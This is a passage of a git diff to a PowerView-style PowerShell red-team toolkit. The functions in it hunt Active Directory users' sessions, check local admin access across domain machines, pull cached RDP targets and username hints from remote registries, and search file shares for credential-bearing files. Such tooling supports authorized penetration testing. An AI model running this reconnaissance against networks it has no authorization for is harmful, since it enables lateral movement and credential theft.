'SourceIP' $SourceIP +                $RDPSession -                    # free up the memory buffer -                    $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) +                # free up the memory buffer +                $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) -                    $Offset += $Increment -                } -                # free up the memory result buffer -                $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) +                $Offset += $Increment              } -            # Close off the service handle -            $Null = $Wtsapi32::WTSCloseServer($Handle) -        } -        else { -            # otherwise it failed - get the last error -            #   error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx -            $Err = $Kernel32::GetLastError() -            Write-Verbuse "LastError: $Err" +            # free up the memory result buffer +            $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)          } +        # Close off the service handle +        $Null = $Wtsapi32::WTSCloseServer($Handle) +    } +    else { +        # otherwise it failed - get the last error +        #   error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx +        $Err = $Kernel32::GetLastError() +        Write-Verbose "LastError: $Err"      }  } -function Invoke-CheckLocalAdminAccess { +filter Invoke-CheckLocalAdminAccess {  <#      .SYNOPSIS -        This function will use the OpenSCManagerW Win32API call to to establish +        This function will use the OpenSCManagerW Win32API call to establish          a handle to the remote host. If this succeeds, the current user context          has local administrator acess to the target. @@ -6890,6 +7822,12 @@ function Invoke-CheckLocalAdminAccess {          Returns active sessions on the local host. +    .EXAMPLE + +        PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + +        Sees what machines in the domain the current user has access to. +      .LINK          https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb @@ -6899,46 +7837,119 @@ function Invoke-CheckLocalAdminAccess {      [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)] -        [String]          [Alias('HostName')] +        [Object[]] +        [ValidateNotNullOrEmpty()]          $ComputerName = 'localhost'      ) -    begin { -        if ($PSBoundParameters['Debug']) { -            $DebugPreference = 'Continue' -        } +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField + +    # 0xF003F - SC_MANAGER_ALL_ACCESS +    #   http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx +    $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F) + +    Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + +    $IsAdmin = New-Object PSObject +    $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer + +    # if we get a non-zero handle back, everything was successful +    if ($Handle -ne 0) { +        # Close off the service handle +        $Null = $Advapi32::CloseServiceHandle($Handle) +        $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True +    } +    else { +        # otherwise it failed - get the last error +        #   error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx +        $Err = $Kernel32::GetLastError() +        Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" +        $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False      } -    process { +    $IsAdmin +} -        # process multiple host object types from the pipeline -        $ComputerName = Get-NameField -Object $ComputerName -        # 0xF003F - SC_MANAGER_ALL_ACCESS -        #   http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx -        $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) +filter Get-SiteName { +<# +    .SYNOPSIS -        Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" +        This function will use the DsGetSiteName Win32API call to look up the +        name of the site where a specified computer resides. -        # if we get a non-zero handle back, everything was successful -        if ($Handle -ne 0) { -            # Close off the service handle -            $Null = $Advapi32::CloseServiceHandle($Handle) -            $True -        } -        else { -            # otherwise it failed - get the last error -            #   error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx -            $Err = $Kernel32::GetLastError() -            Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" -            $False -        } +    .PARAMETER ComputerName + +        The hostname to look the site up for, default to localhost. + +    .EXAMPLE + +        PS C:\> Get-SiteName -ComputerName WINDOWS1 + +        Returns the site for WINDOWS1.testlab.local. + +    .EXAMPLE + +        PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess + +        Returns the sites for every machine in AD. +#> +    [CmdletBinding()] +    param( +        [Parameter(ValueFromPipeline=$True)] +        [Alias('HostName')] +        [Object[]] +        [ValidateNotNullOrEmpty()] +        $ComputerName = $Env:ComputerName +    ) + +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField + +    # if we get an IP address, try to resolve the IP to a hostname +    if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') { +        $IPAddress = $Computer +        $Computer = [System.Net.Dns]::GetHostByAddress($Computer)      } +    else { +        $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress +    } + +    $PtrInfo = [IntPtr]::Zero + +    $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) +    Write-Debug "Get-SiteName result for $Computer : $Result" + +    $ComputerSite = New-Object PSObject +    $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer +    $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress + +    if ($Result -eq 0) { +        $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) +        $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename +    } +    elseif($Result -eq 1210) { +        Write-Verbose "Computername '$Computer' is not in a valid form." +        $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' +    } +    elseif($Result -eq 1919) { +        Write-Verbose "Computer '$Computer' is not in a site" +         +        $ComputerSite | Add-Member Noteproperty 'SiteName' $Null +    } +    else { +        Write-Verbose "Error" +        $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' +    } + +    $Null = $Netapi32::NetApiBufferFree($PtrInfo) +    $ComputerSite  } -function Get-LastLoggedOn { +filter Get-LastLoggedOn {  <#      .SYNOPSIS @@ -6953,6 +7964,10 @@ function Get-LastLoggedOn {          The hostname to query for the last logged on user.          Defaults to the localhost. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object for the remote connection. +      .EXAMPLE          PS C:\> Get-LastLoggedOn @@ -6964,38 +7979,58 @@ function Get-LastLoggedOn {          PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1          Returns the last user logged onto WINDOWS1 + +    .EXAMPLE +         +        PS C:\> Get-NetComputer | Get-LastLoggedOn + +        Returns the last user logged onto all machines in the domain.  #>      [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)] -        [String] -        [Alias('HostName')]         -        $ComputerName = "." +        [Alias('HostName')] +        [Object[]] +        [ValidateNotNullOrEmpty()] +        $ComputerName = 'localhost', + +        [Management.Automation.PSCredential] +        $Credential      ) -    process { +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField -        # process multiple host object types from the pipeline -        $ComputerName = Get-NameField -Object $ComputerName +    # HKEY_LOCAL_MACHINE +    $HKLM = 2147483650 -        # try to open up the remote registry key to grab the last logged on user -        try { -            $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" -            $HKLM = 2147483650 -            $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" -            $Value = "LastLoggedOnUser" -            $Reg.GetStringValue($HKLM, $Key, $Value).sValue +    # try to open up the remote registry key to grab the last logged on user +    try { + +        if($Credential) { +            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue          } -        catch { -            Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." -            $Null +        else { +            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue          } + +        $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" +        $Value = "LastLoggedOnUser" +        $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue + +        $LastLoggedOn = New-Object PSObject +        $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer +        $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser +        $LastLoggedOn +    } +    catch { +        Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."      }  } -function Get-CachedRDPConnection { +filter Get-CachedRDPConnection {  <#      .SYNOPSIS @@ -7011,14 +8046,9 @@ function Get-CachedRDPConnection {          The hostname to query for RDP client information.          Defaults to localhost. -    .PARAMETER RemoteUserName - -        The "domain\username" to use for the WMI call on the remote system. -        If supplied, 'RemotePassword' must be supplied as well. - -    .PARAMETER RemotePassword +    .PARAMETER Credential -        The password to use for the WMI call on a remote system. +        A [Management.Automation.PSCredential] object for the remote connection.      .EXAMPLE @@ -7034,105 +8064,99 @@ function Get-CachedRDPConnection {      .EXAMPLE -        PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\user -RemotePassword Password123! +        PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred          Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials. + +    .EXAMPLE + +        PS C:\> Get-NetComputer | Get-CachedRDPConnection + +        Get cached RDP information for all machines in the domain.  #>      [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)] -        [String] -        $ComputerName = "localhost", - -        [String] -        $RemoteUserName, +        [Alias('HostName')] +        [Object[]] +        [ValidateNotNullOrEmpty()] +        $ComputerName = 'localhost', -        [String] -        $RemotePassword +        [Management.Automation.PSCredential] +        $Credential      ) -    begin { -        if ($RemoteUserName -and $RemotePassword) { -            $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force -            $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) -        } +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField -        # HKEY_USERS -        $HKU = 2147483651 -    } - -    process { - -        try { -            if($Credential) { -                $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -Credential $Credential -ErrorAction SilentlyContinue -            } -            else { -                $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -ErrorAction SilentlyContinue -            } -        } -        catch { -            Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" -        } +    # HKEY_USERS +    $HKU = 2147483651 -        if(!$Reg) { -            Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host" +    try { +        if($Credential) { +            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue          }          else { -            # extract out the SIDs of domain users in this hive -            $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } - -            foreach ($UserSID in $UserSIDs) { - -                try { -                    $UserName = Convert-SidToName $UserSID +            $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue +        } -                    # pull out all the cached RDP connections -                    $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames +        # extract out the SIDs of domain users in this hive +        $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } -                    foreach ($Connection in $ConnectionKeys) { -                        # make sure this key is a cached connection -                        if($Connection -match 'MRU.*') { -                            $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue -                             -                            $FoundConnection = New-Object PSObject -                            $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName -                            $FoundConnection | Add-Member Noteproperty 'UserName' $UserName -                            $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID -                            $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer -                            $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null -                            $FoundConnection -                        } -                    } +        foreach ($UserSID in $UserSIDs) { -                    # pull out all the cached server info with username hints -                    $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames +            try { +                $UserName = Convert-SidToName $UserSID -                    foreach ($Server in $ServerKeys) { +                # pull out all the cached RDP connections +                $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames -                        $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue +                foreach ($Connection in $ConnectionKeys) { +                    # make sure this key is a cached connection +                    if($Connection -match 'MRU.*') { +                        $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue                          $FoundConnection = New-Object PSObject -                        $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName +                        $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer                          $FoundConnection | Add-Member Noteproperty 'UserName' $UserName                          $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID -                        $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server -                        $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint -                        $FoundConnection    +                        $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer +                        $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null +                        $FoundConnection                      } -                  } -                catch { -                    Write-Debug "Error: $_" + +                # pull out all the cached server info with username hints +                $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + +                foreach ($Server in $ServerKeys) { + +                    $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue +                     +                    $FoundConnection = New-Object PSObject +                    $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer +                    $FoundConnection | Add-Member Noteproperty 'UserName' $UserName +                    $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID +                    $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server +                    $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint +                    $FoundConnection                     } + +            } +            catch { +                Write-Debug "Error: $_"              }          } + +    } +    catch { +        Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"      }  } -function Get-NetProcess { +filter Get-NetProcess {  <#      .SYNOPSIS @@ -7142,14 +8166,9 @@ function Get-NetProcess {          The hostname to query processes. Defaults to the local host name. -    .PARAMETER RemoteUserName - -        The "domain\username" to use for the WMI call on a remote system. -        If supplied, 'RemotePassword' must be supplied as well. - -    .PARAMETER RemotePassword +    .PARAMETER Credential -        The password to use for the WMI call on a remote system. +        A [Management.Automation.PSCredential] object for the remote connection.      .EXAMPLE @@ -7161,74 +8180,40 @@ function Get-NetProcess {      [CmdletBinding()]      param(          [Parameter(ValueFromPipeline=$True)] -        [String] -        $ComputerName, - -        [String] -        $RemoteUserName, +        [Alias('HostName')] +        [Object[]] +        [ValidateNotNullOrEmpty()] +        $ComputerName = [System.Net.Dns]::GetHostName(), -        [String] -        $RemotePassword +        [Management.Automation.PSCredential] +        $Credential      ) -    process { -         -        if($ComputerName) { -            # process multiple host object types from the pipeline -            $ComputerName = Get-NameField -Object $ComputerName           +    # extract the computer name from whatever object was passed on the pipeline +    $Computer = $ComputerName | Get-NameField + +    try { +        if($Credential) { +            $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential          }          else { -            # default to the local hostname -            $ComputerName = [System.Net.Dns]::GetHostName() +            $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName          } -        $Credential = $Null - -        if($RemoteUserName) { -            if($RemotePassword) { -                $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force -                $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) - -                # try to enumerate the processes on the remote machine using the supplied credential -                try { -                    Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { -                        $Owner = $_.getowner(); -                        $Process = New-Object PSObject -                        $Process | Add-Member Noteproperty 'ComputerName' $ComputerName -                        $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName -                        $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID -                        $Process | Add-Member Noteproperty 'Domain' $Owner.Domain -                        $Process | Add-Member Noteproperty 'User' $Owner.User -                        $Process -                    } -                } -                catch { -                    Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" -                } -            } -            else { -                Write-Warning "[!] RemotePassword must also be supplied!" -            } -        } -        else { -            # try to enumerate the processes on the remote machine -            try { -                Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { -                    $Owner = $_.getowner(); -                    $Process = New-Object PSObject -                    $Process | Add-Member Noteproperty 'ComputerName' $ComputerName -                    $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName -                    $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID -                    $Process | Add-Member Noteproperty 'Domain' $Owner.Domain -                    $Process | Add-Member Noteproperty 'User' $Owner.User -                    $Process -                } -            } -            catch { -                Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" -            } +        $Processes | ForEach-Object { +            $Owner = $_.getowner(); +            $Process = New-Object PSObject +            $Process | Add-Member Noteproperty 'ComputerName' $Computer +            $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName +            $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID +            $Process | Add-Member Noteproperty 'Domain' $Owner.Domain +            $Process | Add-Member Noteproperty 'User' $Owner.User +            $Process                          }      } +    catch { +        Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_" +    }  } @@ -7289,10 +8274,6 @@ function Find-InterestingFile {          Switch. Mount target remote path with temporary PSDrives. -    .PARAMETER Credential - -        Credential to use to mount the PSDrive for searching. -      .OUTPUTS          The full path, owner, lastaccess time, lastwrite time, and size for each found file. @@ -7323,15 +8304,15 @@ function Find-InterestingFile {          http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/  #> - -    [CmdletBinding()] +          param(          [Parameter(ValueFromPipeline=$True)]          [String]          $Path = '.\', +        [Alias('Terms')]          [String[]] -        $Terms, +        $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),          [Switch]          $OfficeDocs, @@ -7361,35 +8342,19 @@ function Find-InterestingFile {          $OutFile,          [Switch] -        $UsePSDrive, - -        [System.Management.Automation.PSCredential] -        $Credential = [System.Management.Automation.PSCredential]::Empty +        $UsePSDrive      )      begin { -        # default search terms -        $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') -        if(!$Path.EndsWith('\')) { -            $Path = $Path + '\' -        } -        if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } +        $Path += if(!$Path.EndsWith('\')) {"\"} -        # check if custom search terms were passed -        if ($Terms) { -            if($Terms -isnot [system.array]) { -                $Terms = @($Terms) -            } -            $SearchTerms = $Terms +        if ($Credential) { +            $UsePSDrive = $True          } -        if(-not $SearchTerms[0].startswith("*")) { -            # append wildcards to the front and back of all search terms -            for ($i = 0; $i -lt $SearchTerms.Count; $i++) { -                $SearchTerms[$i] = "*$($SearchTerms[$i])*" -            } -        } +        # append wildcards to the front and back of all search terms +        $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }          # search just for office documents if specified          if ($OfficeDocs) { @@ -7399,29 +8364,31 @@ function Find-InterestingFile {          # find .exe's accessed within the last 7 days          if($FreshEXEs) {              # get an access time limit of 7 days ago -            $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') +            $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')              $SearchTerms = '*.exe'          }          if($UsePSDrive) {              # if we're PSDrives, create a temporary mount point +              $Parts = $Path.split('\')              $FolderPath = $Parts[0..($Parts.length-2)] -join '\'              $FilePath = $Parts[-1] +              $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' -            Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" +            Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"              try { -                $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop +                $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop              }              catch { -                Write-Debug "Error mounting path $Path : $_" +                Write-Debug "Error mounting path '$Path' : $_"                  return $Null              }              # so we can cd/dir the new drive -            $Path = $RandDrive + ":\" + $FilePath +            $Path = "${RandDrive}:\${FilePath}"          }      } @@ -7475,7 +8442,7 @@ function Find-InterestingFile {      end {          if($UsePSDrive -and $RandDrive) {              Write-Verbose "Removing temp PSDrive $RandDrive" -            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive +            Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force          }      }  } @@ -7504,6 +8471,7 @@ function Invoke-ThreadedFunction {          $ScriptParameters,          [Int] +        [ValidateRange(1,100)]           $Threads = 20,          [Switch] @@ -7898,8 +8866,8 @@ function Invoke-UserHunter {          [Switch]          $ForeignUsers, -        [ValidateRange(1,100)]           [Int] +        [ValidateRange(1,100)]          $Threads      ) @@ -8003,7 +8971,7 @@ function Invoke-UserHunter {              if($ForeignUsers) {                  # if we're searching for user results not in the primary domain -                $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)" +                $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4                  $DomainShortName = $krbtgtName.split("\")[0]              }          } @@ -8064,7 +9032,7 @@ function Invoke-UserHunter {                      $User                  }  | Where-Object {$_} -            }             +            }          }          else {              ForEach ($Domain in $TargetDomains) { @@ -8103,12 +9071,12 @@ function Invoke-UserHunter {                              $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { -                                $IP = Get-IPAddress -ComputerName $ComputerName +                                $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress                                  $FoundUser = New-Object PSObject                                  $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain                                  $FoundUser | Add-Member Noteproperty 'UserName' $UserName                                  $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName -                                $FoundUser | Add-Member Noteproperty 'IP' $IP +                                $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress                                  $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName                                  # see if we're checking to see if we have local admin access on this machine @@ -8121,7 +9089,7 @@ function Invoke-UserHunter {                                  }                                  $FoundUser                              } -                        }                                     +                        }                      }                  }                  if(!$Stealth) { @@ -8148,12 +9116,12 @@ function Invoke-UserHunter {                                      }                                  }                                  if($Proceed) { -                                    $IP = Get-IPAddress -ComputerName $ComputerName +                                    $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress                                      $FoundUser = New-Object PSObject                                      $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain                                      $FoundUser | Add-Member Noteproperty 'UserName' $UserName                                      $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName -                                    $FoundUser | Add-Member Noteproperty 'IP' $IP +                                    $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress                                      $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null                                      # see if we're checking to see if we have local admin access on this machine @@ -8190,7 +9158,7 @@ function Invoke-UserHunter {              }              # kick off the threaded script block + arguments  -            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams +            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads          }          else { @@ -8353,15 +9321,6 @@ function Invoke-ProcessHunter {          File of usernames to search for. -    .PARAMETER RemoteUserName - -        The "domain\username" to use for the WMI call on a remote system. -        If supplied, 'RemotePassword' must be supplied as well. - -    .PARAMETER RemotePassword - -        The password to use for the WMI call on a remote system. -      .PARAMETER StopOnSuccess          Switch. Stop hunting after finding after finding a target user/process. @@ -8399,6 +9358,11 @@ function Invoke-ProcessHunter {          The maximum concurrent threads to execute. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target machine/domain. +      .EXAMPLE          PS C:\> Invoke-ProcessHunter -Domain 'testing' @@ -8472,12 +9436,6 @@ function Invoke-ProcessHunter {          [String]          $UserFile, -        [String] -        $RemoteUserName, - -        [String] -        $RemotePassword, -          [Switch]          $StopOnSuccess, @@ -8504,7 +9462,10 @@ function Invoke-ProcessHunter {          [ValidateRange(1,100)]           [Int] -        $Threads +        $Threads, + +        [Management.Automation.PSCredential] +        $Credential      )      begin { @@ -8537,16 +9498,16 @@ function Invoke-ProcessHunter {              }              elseif($SearchForest) {                  # get ALL the domains in the forest to search -                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } +                $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }              }              else {                  # use the local domain -                $TargetDomains = @( (Get-NetDomain).name ) +                $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )              }              ForEach ($Domain in $TargetDomains) {                  Write-Verbose "[*] Querying domain $Domain for hosts" -                $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath +                $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath              }              # remove any null target hosts, uniquify the list and shuffle it @@ -8587,15 +9548,15 @@ function Invoke-ProcessHunter {              elseif($UserADSpath -or $UserFilter) {                  ForEach ($Domain in $TargetDomains) {                      Write-Verbose "[*] Querying domain $Domain for users" -                    $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { +                    $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {                          $_.samaccountname                      }  | Where-Object {$_} -                }             +                }              }              else {                  ForEach ($Domain in $TargetDomains) {                      Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" -                    $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { +                    $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {                          $_.MemberName                      }                  } @@ -8608,7 +9569,7 @@ function Invoke-ProcessHunter {          # script block that enumerates a server          $HostEnumBlock = { -            param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) +            param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)              # optionally check if the server is up first              $Up = $True @@ -8618,12 +9579,7 @@ function Invoke-ProcessHunter {              if($Up) {                  # try to enumerate all active processes on the remote host                  # and search for a specific process name -                if($RemoteUserName -and $RemotePassword) { -                    $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue -                } -                else { -                    $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue -                } +                $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue                  ForEach ($Process in $Processes) {                      # if we're hunting for a process name or comma-separated names @@ -8654,12 +9610,11 @@ function Invoke-ProcessHunter {                  'Ping' = $(-not $NoPing)                  'ProcessName' = $ProcessName                  'TargetUsers' = $TargetUsers -                'RemoteUserName' = $RemoteUserName -                'RemotePassword' = $RemotePassword +                'Credential' = $Credential              }              # kick off the threaded script block + arguments  -            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams +            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads          }          else { @@ -8680,7 +9635,7 @@ function Invoke-ProcessHunter {                  Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)                  Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" -                $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword +                $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential                  $Result                  if($Result -and $StopOnSuccess) { @@ -8689,7 +9644,6 @@ function Invoke-ProcessHunter {                  }              }          } -      }  } @@ -8775,6 +9729,11 @@ function Invoke-EventHunter {          The maximum concurrent threads to execute. +    .PARAMETER Credential + +        A [Management.Automation.PSCredential] object of alternate credentials +        for connection to the target domain. +      .EXAMPLE          PS C:\> Invoke-EventHunter @@ -8835,7 +9794,10 @@ function Invoke-EventHunter {          [ValidateRange(1,100)]           [Int] -        $Threads +        $Threads, + +        [Management.Automation.PSCredential] +        $Credential      )      begin { @@ -8858,7 +9820,7 @@ function Invoke-EventHunter {          }          else {              # use the local domain -            $TargetDomains = @( (Get-NetDomain).name ) +            